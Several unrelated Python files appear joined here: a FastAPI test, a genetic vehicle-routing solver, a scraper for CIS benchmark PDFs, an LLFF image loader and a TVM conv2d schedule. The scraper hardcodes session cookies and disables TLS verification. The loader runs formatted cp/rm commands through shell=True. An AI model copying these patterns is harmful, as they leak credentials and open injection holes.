from .app import app
from fastapi.testclient import TestClient

client = TestClient(app)

def test_post_request():
    data = {
        "field_name1": "+7 999 855 37 10",
        "field_name2": "bogdan",
        "field_name3": "bodga@yandex.ru",
        "field_name4": "11.12.2017"
    }
    response = client.post('/forms/', json=data)
    assert response.status_code == 200
    assert response.json() == ["phone_reg_form", "auth_form", "full_auth_form", "author_form", "business_card_form"]


import heapq
import random
import math
import json

with open('data_original.json') as inputFile:
    data = json.load(inputFile)

#Constants
MUTATION_RATE = 0.1
CROSSOVER_RATE = 0.7
POPULATION_SIZE = 100
FITNESS = 0
TRUCKS = 7
DEPOT = None
CAPACITY = 100
INF = float("inf")

#Genetic Algorithm Classes
class PrioritySet(object):
    def __init__(self):
        self.heap = []
        self.set = set()
    def push(self, d):
        if not d in self.set:
            heapq.heappush(self.heap, d)
            self.set.add(d)
    def pop(self):
        d = heapq.heappop(self.heap)
        self.set.remove(d)
        return d
    def poop(self):
        d = self.heap[-1]
        self.heap = self.heap[:-1]
        self.set.remove(d)
        return d
    def size(self):
        return len(self.heap)
    def __str__(self):
        op = ""
        for i in self.heap:
            op += str(i[0]) + " : " + i[1].__str__()
            op += "\n"
        return op
    def __getitem__(self, index):
        return self.heap[index]

class Position:
    def __init__(self, x, y):
        self.x = x
        self.y = y
    def __str__(self):
        return "(" + str(self.x) + ", " + str(self.y) + ") "
    def x_coor(self):
        return self.x
    def y_coor(self):
        return self.y

class Vehicle:
    def __init__(self, capacity):
        self.capacity = capacity
    def capacity(self):
        return self.capacity

class Customer:
    pos = Position(-1, -1)
    demand = 0
    def __init__(self, name):
        self.name = name
    def setPosition(self, x, y):
        self.pos = Position(x, y)
    def setDemand(self, d):
        self.demand = d
    def __str__(self):
        # return str(self.name) #+ " -> (" + str(self.pos.x) + ", " + \
        # str(self.pos.y) + ") -> " + str(self.demand)
        return "(" + str(self.pos.x) + ", " + \
               str(self.pos.y) + " )"

#Utility Functions
def copy(li):
    return [i for i in li]

def getProb():
    return random.random()

def get_random(li):
    index = random.randint(0, len(li) - 1)
    return li[index]

def get_distance(cus1, cus2):
    dist = math.sqrt(((cus1.pos.x - cus2.pos.x) ** 2) + ((cus1.pos.y - cus2.pos.y) ** 2))
    return dist

def print_tuple(t):
    print("0"),
    for i in t:
        print(i),
    print("0"),
    print(" -> f: " + str(get_fitness(t)))

def print_population(p):
    for i in p:
        for c in i:
            print(c),
        print("\n")

def print_population_heap(p):
    count = 1
    for i in p:
        print(count), (" )  ")
        print_tuple(i[1])
        count += 1
        print("\n")

#Helper Functions
def mutate(chromosome):
    temp = [i for i in chromosome]

    if getProb() < MUTATION_RATE:
        left = random.randint(1, len(temp) - 2)
        right = random.randint(left, len(temp) - 1)
        temp[left], temp[right] = temp[right], temp[left]

    return temp

def crossover(a, b):
    if getProb() < CROSSOVER_RATE:
        left = random.randint(1, len(a) - 2)
        right = random.randint(left, len(a) - 1)
        c1 = [c for c in a[0:] if c not in b[left:right + 1]]
        a1 = c1[:left] + b[left:right + 1] + c1[left:]
        c2 = [c for c in b[0:] if c not in a[left:right + 1]]
        b1 = c2[:left] + a[left:right + 1] + c2[left:]
        return a1, b1
    return a, b

def get_fitness(li):
    num_custo = len(li)
    fitness = 0

    for i in range(num_custo - 1):
        fitness += get_distance(li[i], li[i + 1])

    fitness += get_distance(DEPOT, li[0])
    fitness += get_distance(li[-1], DEPOT)

    temp = copy(li)
    temp.insert(0, DEPOT)
    temp.append(DEPOT)
    valid = 1
    curr_demand = 0
    for i in range(len(temp)):
        if temp[i] == DEPOT and curr_demand > CAPACITY:
            fitness = INF
        elif temp[i] == DEPOT:
            curr_demand = 0
        else:
            curr_demand += temp[i].demand

    return fitness

def getPopulationFitness(p):
    h = PrioritySet()
    for i in p:
        h.push((get_fitness(i), i))
    return h

def create_new():
    TempSet = copy(Customers)
    chromosome = []
    while len(TempSet) > 0:
        index = (int)(getProb() * len(TempSet))
        chromosome.append(TempSet.pop(index))

    return chromosome

#Genetic Algorithm
def Genetic_Algorithm():
    print("Population Generated, Evolution Beginning.")
    minimum_chrom = h[0]
    print("Current Minimum Chromosome: ", minimum_chrom[0])
    count = 0
    while count < 1000:
        ax = h.pop()
        bx = h.pop()
        a, b = crossover(list(ax[1]), list(bx[1]))
        a = mutate(a)
        while get_fitness(a) == INF:
            a = create_new()
        b = mutate(b)
        while get_fitness(b) == INF:
            b = create_new()
        if get_fitness(a) != INF:
            h.push((get_fitness(a), tuple(a)))
        else:
            h.push(ax)
        if get_fitness(b) != INF:
            h.push((get_fitness(b), tuple(b)))
        else:
            h.push(bx)

        while h.size() < POPULATION_SIZE:
            TempSet = copy(Customers)
            chromosome = []
            count += 1
            while len(TempSet) > 0:
                index = (int)(getProb() * len(TempSet))
                chromosome.append(TempSet.pop(index))
            h.push((get_fitness(chromosome), tuple(chromosome)))
        count = count + 1

        if count % 1000 == 0:
            print(count),
            print("Generation done")

        if h[0][0] < minimum_chrom[0]:
            minimum_chrom = h[0]
            print("Current Minimum Chromosome: ", minimum_chrom[0])

    print_tuple(minimum_chrom[1])
    print(count)

#Initializing Function
def initialize_population():
    while len(population) < POPULATION_SIZE:
        TempSet = copy(Customers)
        chromosome = []
        while len(TempSet) > 0:
            index = (int)(getProb() * len(TempSet))
            chromosome.append(TempSet.pop(index))

        if get_fitness(chromosome) != INF:
            population.add(tuple(chromosome))

#Data
def create_data_array():

    noOfCustomers = len(data["nodes"])
    customerPosDemand = dict()
    for i in range(noOfCustomers):
        customerPosDemand[data["nodes"][i]["x"], data["nodes"][i]["y"]] = data["nodes"][i]["demand"]
    locations = list(customerPosDemand.keys())
    print(f'고객위치: {locations}')

    demands = []
    for i in range(noOfCustomers):
        demands.append(data['nodes'][i]['demand'])
    print(f'고객 수요: {demands}')

    for i in range(0, len(locations)):
        c = Customer(i)
        c.setPosition(locations[i][0], locations[i][1])
        c.setDemand(demands[i])
        Customers.append(c)

    i = 0
    c = Customer(i)
    c.setPosition(data["depot"]["x"], data["depot"]["y"])
    c.setDemand(0)
    global DEPOT
    DEPOT = c
    print(DEPOT)

    for j in range(TRUCKS - 1):
        Customers.append(DEPOT)

Customers = []
population = set()

if __name__ == '__main__':
    create_data_array()
    initialize_population()
    h = getPopulationFitness(population)
    Genetic_Algorithm()


# -*- coding:utf-8 -*-

#author:Edge
#email:zhengxiao@gac-nio.com
#time: 2020/10/30

from bs4 import BeautifulSoup
import requests
import random
import sys
import pdb
import re
import os
import time
import random
from retry import retry

reload(sys)
sys.setdefaultencoding('utf8')
#Ignore requests warning
requests.packages.urllib3.disable_warnings()

def connect_timeout_retry(sub_url,sub_headers,sub_cookies):
    tmp_response = requests.get(sub_url, stream = True, verify = False, headers = sub_headers, cookies = sub_cookies, timeout = 30)
    return tmp_response

#Edit cookies
def edit_cookies(download_ID):
    sub_cookies = {}
    if download_ID == 0:
        f = open(r'cookies.txt',"r")
        for line in f.read().split(';'):
            name,value = line.strip().split('=',1)
            sub_cookies[name] = value
        f.close()
    else:
        sub_cookies = {'_ga':'GA1.2.1642749091.1602295950', 'visitor_id799323':'193345229', 'visitor_id799323-hash':'d15576d2b8ab2646ba087e0a08d52856aa582112636bafeafe9347721b55e328e3cc64425b8cea92c52ea629c44d0ee2cc986f29', 'cis_download_cookie':'1u5kGwva17PrGkFgIsjEvj2ae2NQyEfcDRM2SgzW', 'documentId':'32'}
        sub_cookies['documentId'] = download_ID.strip()
    return sub_cookies

#Get response from all urls.
def get_response(url,download_ID):
    headers = {
    "Connection": "close",
    "Accept": "*/*",
    "DNT": "1",
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "zh-CN,en-US;q = 0.7,en;q = 0.3",
    "Upgrade-Insecure-Requests": "1",
    "Cache-Control": "max-age = 0"
}
    cookies = edit_cookies(download_ID)
    resp = requests.get(url,headers = headers,cookies = cookies)
    resp.raise_for_status()
    soup = BeautifulSoup(resp.content, 'lxml')
    return soup

#List technology_id id = benchmark_id = documentid title = filename location
def get_technology_info(technology_url):
    soup = get_response(technology_url,0)
    pre_info = soup
    combinestr = []
    for string in pre_info.stripped_strings:
        combinestr = combinestr+[string]
#    print(len(combinestr))
    categories = combinestr[0].split(']')
#    lencat = len(categories)
#    for n in range(lencat):
#        print(categories[n])
#        '\n'
    splandcom(categories,technology_url)

#Category string split and combination
def splandcom(categoriestext,tech_url):
    objectnames = []
    all_info = {}
    ID = []
    id_num = 0
    tmp = categoriestext
    lentmp = len(tmp)
    #Extract string from double quotes and braces
    setpat1 = re.compile(r'\"(.*)\"')
    for n in range(lentmp-1):
        #Get object names
        name = tmp[n].split('[')[0]
        save_names = setpat1.findall(name)
        #Get all other infomations
        info = tmp[n].split('[')[1]
        objectnames = objectnames+[save_names]
        for line in info.split('},'):
            line = line.strip('{}')
            ID = ID+[line.split(',')[0].split(':')[1]]
#            print(ID[id_num],id_num)
            #Get all category ID numbers
            id_num = id_num+1
    categoriestext = objectnames
    get_subcategory_info(tech_url,id_num,ID)
    return categoriestext
#Get list index
def get_list_index(lists, item):
    tmp_list = []
    list_tag = 0
    for i in lists:
        if item in i:
            tmp_list.append(list_tag)
        list_tag = list_tag+1
    return tmp_list

def get_subcategory_info(tech_url,id_num,ID):
    suburls = []
    benchmark_ID = []
    sub_filename = []
    sub_info = []
    sub_location = []
    sub_pre_info = []
    sub_combinestr = []
    download_ID = []
    list_index = []
    for m in range(id_num):
#    for m in range(2):
        suburls = suburls+[tech_url+'/'+ID[m]+'/benchmarks/latest']
        sub_soup = get_response(suburls[m],0)
        for sub_string in sub_soup.stripped_strings:
            sub_combinestr = sub_combinestr+[sub_string]
            for tmp_str1 in sub_string.split('},'):
                sub_info = sub_info + [tmp_str1.strip('{[]}')]
                sub_info_len = len(sub_info)
                print(sub_info_len)
                '\n'
    #Get benchmark_ID sub_filename sub_location write to allbaselinefiles.txt
    f1 = open('allbaselinefiles.txt','w')
    for n in range(sub_info_len):
        list_sub_info = sub_info[n].split(',')
        list_index = get_list_index(list_sub_info,'\"id\"')
        if len(list_index) == 2:
            indexn = list_index[1]
            download_ID = download_ID+[list_sub_info[indexn].split(':')[2]]
            f1.write('download'+'_'+list_sub_info[indexn].split(':',1)[1].strip('[{\"')+'\n')
        else:
            indexn =list_index[0]
            download_ID = download_ID+[list_sub_info[indexn].split(':')[1]]
            f1.write('download'+'_'+list_sub_info[indexn].strip('\"')+'\n')
        for tmp_str2 in list_sub_info:
#            print(tmp_str2)
#            '\n'
            if "benchmark_id" in tmp_str2:
                benchmark_ID = benchmark_ID+[tmp_str2.split(':')[1]]
                f1.write(tmp_str2.strip('\"')+'\n')
            elif "filename" in tmp_str2:
                sub_filename = sub_filename+[tmp_str2.split(':')[1].strip('\"')]
                f1.write(tmp_str2.strip('\"')+'\n')
            elif "location" in tmp_str2:
                sub_location = sub_location+[tmp_str2.split(':',1)[1].strip('\"')]
                f1.write(tmp_str2.strip('\"')+'\n')
            else:
                pass#do nothing
    f1.close()
    return suburls
#Download all pdf files to /home/CIS20spider/pdfs/
#Retrying requests if timeout 30 seconds
@retry(exceptions=(requests.exceptions.Timeout, requests.exceptions.ConnectionError),tries=50,delay=1)#
def download_pdfs(url, download_ID, file_path):
    headers1 = {
    'Connection': 'close',
    'Accept': '*/*',
    'DNT': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/81.0.4044.129 Safari/537.36',
    'Accept-Encoding': 'gzip, deflate',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/81.0.4044.129 Safari/537.36',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN,en-US;q = 0.7,en;q = 0.3',
    'Referer': 'https://downloads.cisecurity.org/',
    'Upgrade-Insecure-Requests': '1',
    'Cache-Control': 'max-age = 0'
    }
    cookies = edit_cookies(download_ID)
    r1 = connect_timeout_retry(url,headers1,cookies)
    total_size = int(r1.headers['content-length'])

    if os.path.exists(file_path):
        temp_size = os.path.getsize(file_path)
    else:
        temp_size = 0
    print(temp_size)
    print(total_size)
    headers2 = {
    'Connection': 'close',
    'Accept': '*/*',
    'DNT': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/81.0.4044.129 Safari/537.36',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN,en-US;q = 0.7,en;q = 0.3',
    'Referer': 'https://downloads.cisecurity.org/',
    'Upgrade-Insecure-Requests': '1',
    'Cache-Control': 'max-age = 0',
    'Range': 'bytes=%d-' % temp_size
    }
    print(headers2)
    r2 = connect_timeout_retry(url,headers2,cookies)

    with open(file_path, "ab+") as f:
        for chunk in r2.iter_content(chunk_size=1024):
            if chunk:
#                pdb.set_trace()
                temp_size += len(chunk)
                f.write(chunk)
                f.flush()
                done = int(50 * temp_size / total_size)
                sys.stdout.write("\r[%s%s] %d%%" % (' ' * done, ' ' * (50 - done), 100 * temp_size / total_size))
                sys.stdout.flush()

if __name__ == '__main__':
    url = 'https://downloads.cisecurity.org'
    technology_url = url+'/'+'technology'
    download_url = url+'/download?u='+str(random.randint(1603000000,1703000000))
    filename = ''
    file_path = ''
    files_dir = "/home/pdfs/"
    get_technology_info(technology_url)
    count_lines = 1
    f_last = open('allbaselinefiles.txt',"r")
    for line in f_last.readlines():
        print(line.strip())
        '\n'
        if 'download_id' in line:
            download_ID = line.split(':')[1]
        elif 'filename' in line:
            filename = line.split(':')[1].strip('\"')
        else:
            pass #Doing nothing
        file_path = files_dir+filename.strip()
        if count_lines == 4:
            count_lines = 1
#            pdb.set_trace()
            download_pdfs(download_url,download_ID,file_path)
        else:
            print('Count_lines less than 4')
        count_lines = count_lines+1
    f_last.close()
    print('Congraturlations! You have spidered all base line pdf files\n')


import os
from subprocess import check_output

import imageio
import numpy as np
import PIL.Image

import utils.exif_helper as ehelp
from utils.exposure_helper import calculate_ev100_from_metadata

# Slightly modified version of LLFF data loading code
# see https://github.com/Fyusion/LLFF for original

def _minify(basedir, factors=[], resolutions=[]):
    needtoload = False
    for r in factors:
        imgdir = os.path.join(basedir, "images_{}".format(r))
        maskdir = os.path.join(basedir, "masks_{}".format(r))
        if not os.path.exists(imgdir) and not os.path.exists(maskdir):
            needtoload = True
    for r in resolutions:
        imgdir = os.path.join(basedir, "images_{}x{}".format(r[1], r[0]))
        maskdir = os.path.join(basedir, "masks_{}x{}".format(r[1], r[0]))
        if not os.path.exists(imgdir) and not os.path.exists(maskdir):
            needtoload = True
    if not needtoload:
        return

    print("Minify needed...")

    imgdir = os.path.join(basedir, "images")
    maskdir = os.path.join(basedir, "masks")
    imgs = [os.path.join(imgdir, f) for f in sorted(os.listdir(imgdir))]
    masks = [os.path.join(maskdir, f) for f in sorted(os.listdir(maskdir))]
    imgs = [
        f
        for f in imgs
        if any([f.endswith(ex) for ex in ["JPG", "jpg", "png", "jpeg", "PNG"]])
    ]
    masks = [
        f
        for f in masks
        if any([f.endswith(ex) for ex in ["JPG", "jpg", "png", "jpeg", "PNG"]])
    ]
    imgdir_orig = imgdir
    maskdir_orig = maskdir

    wd = os.getcwd()

    for r in factors + resolutions:
        if isinstance(r, int):
            nameImg = "images_{}".format(r)
            nameMask = "masks_{}".format(r)
            resizearg = "{}%".format(100.0 / r)
        else:
            nameImg = "images_{}x{}".format(r[1], r[0])
            nameMask = "masks_{}x{}".format(r[1], r[0])
            resizearg = "{}x{}".format(r[1], r[0])
        imgdir = os.path.join(basedir, nameImg)
        maskdir = os.path.join(basedir, nameMask)
        if os.path.exists(imgdir) and os.path.exists(maskdir):
            continue

        print("Minifying", r, basedir)

        os.makedirs(imgdir)
        os.makedirs(maskdir)
        check_output("cp {}/* {}".format(imgdir_orig, imgdir), shell=True)
        check_output("cp {}/* {}".format(maskdir_orig, maskdir), shell=True)

        extImg = imgs[0].split(".")[-1]
        extMask = masks[0].split(".")[-1]
        argsImg = " ".join(
            ["mogrify", "-resize", resizearg, "-format", "png", "*.{}".format(extImg)]
        )
        argsMask = " ".join(
            ["mogrify", "-resize", resizearg, "-format", "png", "*.{}".format(extMask)]
        )
        os.chdir(imgdir)
        check_output(argsImg, shell=True)
        os.chdir(wd)

        os.chdir(maskdir)
        check_output(argsMask, shell=True)
        os.chdir(wd)

        if extImg != "png":
            check_output("rm {}/*.{}".format(imgdir, extImg), shell=True)
            print("Removed duplicates")
        if extMask != "png":
            check_output("rm {}/*.{}".format(maskdir, extMask), shell=True)
            print("Removed duplicates")
        print("Done")

def ensureNoChannel(x: np.ndarray) -> np.ndarray:
    ret = x
    if len(x.shape) > 2:
        ret = ret[:, :, 0]

    return ret

def _load_data(basedir, factor=None, width=None, height=None, load_imgs=True):
    poses_arr = np.load(os.path.join(basedir, "poses_bounds.npy"))
    poses = poses_arr[:, :-2].reshape([-1, 3, 5]).transpose([1, 2, 0])
    bds = poses_arr[:, -2:].transpose([1, 0])

    img0 = [
        os.path.join(basedir, "images", f)
        for f in sorted(os.listdir(os.path.join(basedir, "images")))
        if f.endswith("JPG") or f.endswith("jpg") or f.endswith("png")
    ][0]
    sh = imageio.imread(img0).shape

    ev100s = handle_exif(basedir)

    sfx = ""

    if factor is not None:
        print("Apply factor", factor)
        sfx = "_{}".format(factor)
        _minify(basedir, factors=[factor])
        factor = factor
    elif height is not None:
        factor = sh[0] / float(height)
        width = int(sh[1] / factor)
        _minify(basedir, resolutions=[[height, width]])
        sfx = "_{}x{}".format(width, height)
    elif width is not None:
        factor = sh[1] / float(width)
        height = int(sh[0] / factor)
        _minify(basedir, resolutions=[[height, width]])
        sfx = "_{}x{}".format(width, height)
    else:
        factor = 1

    imgdir = os.path.join(basedir, "images" + sfx)
    maskdir = os.path.join(basedir, "masks" + sfx)
    if not os.path.exists(imgdir):
        print(imgdir, "does not exist, returning")
        return

    if not os.path.exists(maskdir):
        print(maskdir, "does not exist, returning")
        return

    imgfiles = [
        os.path.join(imgdir, f)
        for f in sorted(os.listdir(imgdir))
        if f.endswith("JPG") or f.endswith("jpg") or f.endswith("png")
    ]
    masksfiles = [
        os.path.join(maskdir, f)
        for f in sorted(os.listdir(maskdir))
        if f.endswith("JPG") or f.endswith("jpg") or f.endswith("png")
    ]
    if poses.shape[-1] != len(imgfiles) and len(imgfiles) == len(masksfiles):
        print(
            "Mismatch between imgs {}, masks {} and poses {} !!!!".format(
                len(imgfiles), len(masksfiles), poses.shape[-1]
            )
        )
        return

    sh = imageio.imread(imgfiles[0]).shape
    poses[:2, 4, :] = np.array(sh[:2]).reshape([2, 1])
    poses[2, 4, :] = poses[2, 4, :] * 1.0 / factor

    if not load_imgs:
        return poses, bds

    def imread(f):
        if f.endswith("png"):
            return imageio.imread(f, ignoregamma=True)
        else:
            return imageio.imread(f)

    imgs = [imread(f)[..., :3] / 255.0 for f in imgfiles]
    masks = [ensureNoChannel(imread(f) / 255.0) for f in masksfiles]

    imgs = np.stack(imgs, -1)
    masks = np.stack(masks, -1)

    print("Loaded image data", imgs.shape, masks.shape, poses[:, -1, 0])
    return poses, bds, imgs, masks, ev100s

def handle_exif(basedir):
    files = [
        os.path.join(basedir, "images", f)
        for f in sorted(os.listdir(os.path.join(basedir, "images")))
        if f.endswith("JPG") or f.endswith("jpg")
    ]

    if len(files) == 0:
        raise Exception(
            "Only jpegs can be used to gain EXIF data needed to handle tonemapping"
        )

    ret = []
    for f in files:
        try:
            img = PIL.Image.open(f)
            exif_data = ehelp.formatted_exif_data(img)

            iso = int(exif_data["ISOSpeedRatings"])
            aperture = float(exif_data["FNumber"])

            exposureTime = ehelp.getExposureTime(exif_data)

            ev100 = calculate_ev100_from_metadata(aperture, exposureTime, iso)
        except:
            ev100 = 8

        ret.append(ev100)

    if len(files) != len(ret):
        raise Exception("Not all images are valid!")

    return np.stack(ret, 0).astype(np.float32)

def normalize(x):
    return x / np.linalg.norm(x)

def viewmatrix(z, up, pos):
    vec2 = normalize(z)
    vec1_avg = up
    vec0 = normalize(np.cross(vec1_avg, vec2))
    vec1 = normalize(np.cross(vec2, vec0))
    m = np.stack([vec0, vec1, vec2, pos], 1)
    return m

def ptstocam(pts, c2w):
    tt = np.matmul(c2w[:3, :3].T, (pts - c2w[:3, 3])[..., np.newaxis])[..., 0]
    return tt

def poses_avg(poses):

    hwf = poses[0, :3, -1:]

    center = poses[:, :3, 3].mean(0)
    vec2 = normalize(poses[:, :3, 2].sum(0))
    up = poses[:, :3, 1].sum(0)
    c2w = np.concatenate([viewmatrix(vec2, up, center), hwf], 1)

    return c2w

def render_path_spiral(c2w, up, rads, focal, zdelta, zrate, rots, N):
    render_poses = []
    rads = np.array(list(rads) + [1.0])
    hwf = c2w[:, 4:5]

    for theta in np.linspace(0.0, 2.0 * np.pi * rots, N + 1)[:-1]:
        c = np.dot(
            c2w[:3, :4],
            np.array([np.cos(theta), -np.sin(theta), -np.sin(theta * zrate), 1.0])
            * rads,
        )
        z = normalize(c - np.dot(c2w[:3, :4], np.array([0, 0, -focal, 1.0])))
        render_poses.append(np.concatenate([viewmatrix(z, up, c), hwf], 1))
    return render_poses

def recenter_poses(poses):

    poses_ = poses + 0
    bottom = np.reshape([0, 0, 0, 1.0], [1, 4])
    c2w = poses_avg(poses)
    c2w = np.concatenate([c2w[:3, :4], bottom], -2)
    bottom = np.tile(np.reshape(bottom, [1, 1, 4]), [poses.shape[0], 1, 1])
    poses = np.concatenate([poses[:, :3, :4], bottom], -2)

    poses = np.linalg.inv(c2w) @ poses
    poses_[:, :3, :4] = poses[:, :3, :4]
    poses = poses_
    return poses

#####################

def spherify_poses(poses, bds):
    def p34_to_44(p):
        return np.concatenate(
            [p, np.tile(np.reshape(np.eye(4)[-1, :], [1, 1, 4]), [p.shape[0], 1, 1])], 1
        )

    rays_d = poses[:, :3, 2:3]
    rays_o = poses[:, :3, 3:4]

    def min_line_dist(rays_o, rays_d):
        A_i = np.eye(3) - rays_d * np.transpose(rays_d, [0, 2, 1])
        b_i = -A_i @ rays_o
        pt_mindist = np.squeeze(
            -np.linalg.inv((np.transpose(A_i, [0, 2, 1]) @ A_i).mean(0)) @ (b_i).mean(0)
        )
        return pt_mindist

    pt_mindist = min_line_dist(rays_o, rays_d)

    center = pt_mindist
    up = (poses[:, :3, 3] - center).mean(0)

    vec0 = normalize(up)
    vec1 = normalize(np.cross([0.1, 0.2, 0.3], vec0))
    vec2 = normalize(np.cross(vec0, vec1))
    pos = center
    c2w = np.stack([vec1, vec2, vec0, pos], 1)

    poses_reset = np.linalg.inv(p34_to_44(c2w[None])) @ p34_to_44(poses[:, :3, :4])

    rad = np.sqrt(np.mean(np.sum(np.square(poses_reset[:, :3, 3]), -1)))

    sc = 1.0 / rad
    poses_reset[:, :3, 3] *= sc
    bds *= sc
    rad *= sc

    centroid = np.mean(poses_reset[:, :3, 3], 0)
    zh = centroid[2]
    radcircle = np.sqrt(rad ** 2 - zh ** 2)
    new_poses = []

    for th in np.linspace(0.0, 2.0 * np.pi, 120):

        camorigin = np.array([radcircle * np.cos(th), radcircle * np.sin(th), zh])
        up = np.array([0, 0, -1.0])

        vec2 = normalize(camorigin)
        vec0 = normalize(np.cross(vec2, up))
        vec1 = normalize(np.cross(vec2, vec0))
        pos = camorigin
        p = np.stack([vec0, vec1, vec2, pos], 1)

        new_poses.append(p)

    new_poses = np.stack(new_poses, 0)

    new_poses = np.concatenate(
        [new_poses, np.broadcast_to(poses[0, :3, -1:], new_poses[:, :3, -1:].shape)], -1
    )
    poses_reset = np.concatenate(
        [
            poses_reset[:, :3, :4],
            np.broadcast_to(poses[0, :3, -1:], poses_reset[:, :3, -1:].shape),
        ],
        -1,
    )

    return poses_reset, new_poses, bds

def load_llff_data(
    basedir, factor=8, recenter=True, bd_factor=0.75, spherify=False, path_zflat=False,
):
    poses, bds, imgs, msks, ev100s = _load_data(
        basedir, factor=factor,
    )  # factor=8 downsamples original imgs by 8x
    print("Loaded", basedir, bds.min(), bds.max())

    # Correct rotation matrix ordering and move variable dim to axis 0
    poses = np.concatenate([poses[:, 1:2, :], -poses[:, 0:1, :], poses[:, 2:, :]], 1)
    poses = np.moveaxis(poses, -1, 0).astype(np.float32)
    imgs = np.moveaxis(imgs, -1, 0).astype(np.float32)
    msks = np.expand_dims(np.moveaxis(msks, -1, 0), -1).astype(np.float32)
    images = imgs
    masks = msks
    bds = np.moveaxis(bds, -1, 0).astype(np.float32)

    # Rescale if bd_factor is provided
    sc = 1.0 if bd_factor is None else 1.0 / (bds.min() * bd_factor)
    poses[:, :3, 3] *= sc
    bds *= sc

    if recenter:
        poses = recenter_poses(poses)

    if spherify:
        poses, render_poses, bds = spherify_poses(poses, bds)

    else:

        c2w = poses_avg(poses)
        print("recentered", c2w.shape)
        print(c2w[:3, :4])

        # Get spiral
        # Get average pose
        up = normalize(poses[:, :3, 1].sum(0))

        # Find a reasonable "focus depth" for this dataset
        close_depth, inf_depth = bds.min() * 0.9, bds.max() * 5.0
        dt = 0.75
        mean_dz = 1.0 / (((1.0 - dt) / close_depth + dt / inf_depth))
        focal = mean_dz

        # Get radii for spiral path
        zdelta = close_depth * 0.2
        tt = poses[:, :3, 3]  # ptstocam(poses[:3,3,:].T, c2w).T
        rads = np.percentile(np.abs(tt), 90, 0)
        c2w_path = c2w
        N_views = 120
        N_rots = 2
        if path_zflat:
            #             zloc = np.percentile(tt, 10, 0)[2]
            zloc = -close_depth * 0.1
            c2w_path[:3, 3] = c2w_path[:3, 3] + zloc * c2w_path[:3, 2]
            rads[2] = 0.0
            N_rots = 1
            N_views /= 2

        # Generate poses for spiral path
        render_poses = render_path_spiral(
            c2w_path, up, rads, focal, zdelta, zrate=0.5, rots=N_rots, N=N_views
        )

    render_poses = np.array(render_poses).astype(np.float32)

    c2w = poses_avg(poses)
    print("Data:")
    print(poses.shape, images.shape, masks.shape, bds.shape)

    dists = np.sum(np.square(c2w[:3, 3] - poses[:, :3, 3]), -1)
    i_test = np.argmin(dists)
    print("HOLDOUT view is", i_test)

    images = images.astype(np.float32)
    masks = masks.astype(np.float32)
    poses = poses.astype(np.float32)

    return images, masks, ev100s, poses, bds, render_poses, i_test


# import torch
# from torch import nn
# from torchvision.models.quantization import resnet18 as qresnet18
# from torchvision.models.quantization import resnet50 as qresnet50
# from torch.quantization import fuse_modules, QuantWrapper

import os
import tvm
from tvm import te, tir, relay, autotvm
from tvm._ffi import register_func
from tvm.topi.testing import conv2d_nchw_python
import tvm.testing
import numpy as np
from tvm.meta_schedule.tune import tune_extracted_tasks
from tvm.meta_schedule.relay_integration import extract_task_from_relay
from tvm.meta_schedule import ApplyHistoryBest
from tvm.meta_schedule.testing.utils import apply_fixed_schedules
from tvm import meta_schedule as ms
import tempfile
import tvm.topi.testing
from tvm.meta_schedule.database import TuningRecord, JSONDatabase

from PIL import Image
from tvm.contrib.download import download_testdata

from tvm import rpc
from tvm.contrib import utils, ndk

from tvm.tir.tensor_intrin.arm_cpu import ARM_DOT_4x4_i8_NEON_INTRIN, ARM_DOT_4x4_i8_SDOT_INTRIN

# tracker_host = os.environ["TVM_TRACKER_HOST"]
# tracker_port = int(os.environ["TVM_TRACKER_PORT"])
key = "android"

arch = "aarch64"
# target = "llvm -device arm_cpu -mtriple=%s-linux-android -mattr=+neon" % arch
target = "llvm --device arm_cpu --mtriple aarch64-apple-darwin -mattr=+v8.2a,+dotprod --link-params=1"

def get_conv2d_nchw(
    d_shape,
    w_shape,
    padding,
    strides=(1, 1),
):
    data_dtype = "int8"
    weight_dtype = "int8"
    out_dtype = "int32"

    data = relay.var("data", shape=d_shape, dtype=data_dtype)
    weight = relay.var("weight", shape=w_shape, dtype=weight_dtype)
    out_channel = w_shape[0]
    return relay.nn.conv2d(
        data=data,
        weight=weight,
        kernel_size=w_shape[2:],
        channels=out_channel,
        padding=padding,
        strides=strides,
        out_dtype=out_dtype,
    )

def schedule_conv2d_nchwc(sch, block):
    # print(sch.get_loops(block))
    producers = sch.get_producers(block)

    if len(producers) > 1:
        assert len(producers) == 1
        pad = producers[0]
        batch, ic_chunk, ih = sch.get_loops(pad)[:3]
        sch.parallel(sch.fuse(batch, ic_chunk, ih))

    post_blocks = sch.get_consumers(block)

    if len(post_blocks) > 0:
        while True:
            next_post_blocks = []
            for post_block in post_blocks:
                next_consumers = sch.get_consumers(post_block)

                if len(next_consumers) > 0:
                    sch.compute_inline(post_block)

                next_post_blocks += next_consumers

            if len(next_post_blocks) == 0:
                assert len(post_blocks) == 1
                outer_block = post_blocks[0]
                # a_y, a_x = sch.get_loops(outer_block)[-2:]
                break

            post_blocks = next_post_blocks
    else:
        outer_block = block

    (batch, oc_chunk, oh, ow, oc_block,) = sch.get_loops(
        outer_block
    )[:5]

    parallel_axis = sch.fuse(batch, oc_chunk, oh)
    sch.parallel(parallel_axis)

    if outer_block != block:
        sch.vectorize(oc_block)
        sch.compute_at(block, ow, preserve_unit_loops=True)

    vector_width = 4

    (oc_block, kh, kw, ic_outer, ic_f_inner, ic_s_inner,) = sch.get_loops(
        block
    )[-6:]

    oc_f_inner, oc_s_inner = sch.split(oc_block, factors=[None, vector_width])

    sch.reorder(
        ic_outer,
        kh,
        kw,
        ic_f_inner,
        oc_f_inner,
        oc_s_inner,
        ic_s_inner,
    )

    sch.unroll(oc_f_inner)

    dec = sch.decompose_reduction(block, ic_outer)
    init_loop = sch.get_loops(dec)[-1]
    sch.vectorize(init_loop)

    # ARM_DOT_4x4_i8_NEON_INTRIN,
